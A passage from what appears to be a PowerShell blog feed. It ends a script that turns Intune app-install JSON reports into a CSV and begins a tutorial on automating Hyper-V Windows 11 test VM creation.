<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><ol start="3">
<li>Then we need to delete the application files that are empty (no installations or uninstallations).</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>The provided data is in JSON format, but has an odd schema. So we need to take it apart and make it readable for our script.</p>
</div>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get all files in the folder ending with .json and iterate through them</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$files </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ChildItem</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $folder </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.json</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($file </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $files){</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Read the content of the JSON file and convert it to a PowerShell object</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $jsondata </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-content</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path $file.fullname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ConvertFrom-Json</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Create an array of objects with properties matching the schema</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $data </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($row </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $jsonData.Values) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $obj </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PSObject</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">      for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; $i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-lt</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $jsonData.Schema.Count; $i</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">          $obj </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Add-Member</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberType NoteProperty </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name $jsonData.Schema[$i].Column </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value $row[$i]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $obj</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  }</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Delete the file if there is no user entry in the file</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($data)){</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Remove-Item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path $file.fullname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h3 id="transforming-the-data" tabindex="-1">Transforming the data <a class="header-anchor" href="#transforming-the-data" aria-label="Permalink to &quot;Transforming the data&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>All that remains is to take the rest of the files and transform the data for human reading.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#creating the array for the .csv file</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$csv </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get all files in the folder ending with .json and iterate through them</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$files </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ChildItem</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $folder </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.json</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($file </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $files){</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Saves the app name (aka the file name) to a variable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $file.name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-replace</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "_1.json"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">""</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Read the content of the JSON file and convert it to a PowerShell object</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $jsondata </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-content</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path $file.fullname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ConvertFrom-Json</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Create an array of objects with properties matching the schema</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $data </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($row </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $jsonData.Values) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        $obj </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PSObject</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; $i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-lt</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $jsonData.Schema.Count; $i</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            $obj </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Add-Member</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberType NoteProperty </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name $jsonData.Schema[$i].Column </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value $row[$i]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        }</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # Adds the name of the app to the object</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        $obj </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Add-Member</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberType NoteProperty </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"App"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value $app</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        $obj</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # Loop checks if user still exists in EntraID and is enabled</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-mguser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"userprincipalname eq '</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$obj.UserPrincipalName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">' and accountEnabled eq true"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # Info is added tot the .csv array</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            $csv </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $obj</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Exports the array to a CSV file</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># array values provided by Intune: userprincipalname, UserId, ApplicationId, UserName, UserPrincipalName, InstalledCount, FailedCount, PendingInstallCount, NotApplicableCount, NotInstalledCount</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$csv </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Export-Csv</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\report.csv"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoTypeInformation </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Delimiter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">";"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Encoding unicode</span></span></code></pre>
</div><ol start="2">
<li>And the result is a nice readable .csv file, that can be opened in Excel or further processed with other tools.</li>
</ol>
<img src="\powershell_user_app_install_report\csv.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<p>💾 You can download the complete script in my GitHub Repo. <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/2d03c4f4c561af413e406beb734c2d1700ed1bde/Powershell/user_app_install_report/user_app_install_report.ps1" target="_blank" rel="noreferrer">Download</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Virtual Mashine Hyper-V automation | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/vm_template.html</link>
            <guid>https://michaelsendpoint.com/powershell/vm_template.html</guid>
            <pubDate>Sun, 15 Dec 2024 20:54:09 GMT</pubDate>
            <description><![CDATA[Generalized Hyper-V Virtual Mashine Template creation script.]]></description>
            <content:encoded><![CDATA[<h1 id="hyper-v-virtual-mashine-automation" tabindex="-1">Hyper-V Virtual Mashine automation <a class="header-anchor" href="#hyper-v-virtual-mashine-automation" aria-label="Permalink to &quot;Hyper-V Virtual Mashine automation&quot;">&ZeroWidthSpace;</a></h1>
<p>Need a virtual test machine and don`t want to do the work every time?
In this post, I'll walk you through a script that will create the test VM for you in about two and a half minutes. You'll barely have to lift a finger.<br></p>
<p><em><strong>Sounds good? Then lets do this!</strong></em></p>
<h2 id="prerequisites" tabindex="-1">Prerequisites <a class="header-anchor" href="#prerequisites" aria-label="Permalink to &quot;Prerequisites&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li>Windows 11 or Windows 10 (pro or enterprise)</li>
<li>Hyper-V installed</li>
<li>Windows 11 ISO (pro or enterprise), with at least the may 2024 updates</li>
<li>Elevated powershell access</li>
</ul>
<h2 id="creating-the-script" tabindex="-1">Creating the script <a class="header-anchor" href="#creating-the-script" aria-label="Permalink to &quot;Creating the script&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="the-prep" tabindex="-1">The prep <a class="header-anchor" href="#the-prep" aria-label="Permalink to &quot;The prep&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>
<p>First we get our prerequisites straight and download the <a href="https://www.microsoft.com/de-de/evalcenter/download-windows-11-enterprise" target="_blank" rel="noreferrer">Windows 11 ISO</a>.</p>
</li>
<li>
<p>Second we need to enable the Hyper-V Windows Feature.</p>
</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Enable-WindowsOptionalFeature</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Online </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FeatureName Microsoft</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Hyper</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">V </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">All</span></span></code></pre>
</div><h3 id="the-script" tabindex="-1">The Script <a class="header-anchor" href="#the-script" aria-label="Permalink to &quot;The Script&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>
<p>Now, to start with the script, we first need a few infos from the user.</p>
<ul>
<li>The Name you want for the VM.</li>
<li>The Folder where the VM should be created.</li>
<li>The name of the Windows 11 ISO without the .iso extension. The script will assume the ISO is in the same folder as the VM will be created.</li>
</ul>
</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Param</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$True</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Position</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$VMName</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$True</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Position</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">2</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$Folder</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$True</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Position</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">3</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$WindowsISO</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><ol start="2">
<li>Next a few of our own parameters are added.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$vhdpath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">.vhdx"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$vhdsize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 50</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">GB</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$iso </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$WindowsISO</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">.iso"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$imagePath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">.wim"</span></span></code></pre>
</div><ol start="3">
<li>Now the Windows 11 iso will be mounted and the install.wim image file will be extracted from it.<br>
This image file contains all the windows install files we need.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># extract .wim file from windows .iso</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$DiskImage </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Mount-DiskImage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ImagePath $iso </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">StorageType ISO </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">PassThru</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">push-Location</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">((</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">DiskImage </span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$DiskImage</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">).driveletter)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># read files with the usual filesystem commands</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Copy-Item</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ".\sources\install.wim"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Destination $Folder</span></span>
<span class="line"></span>
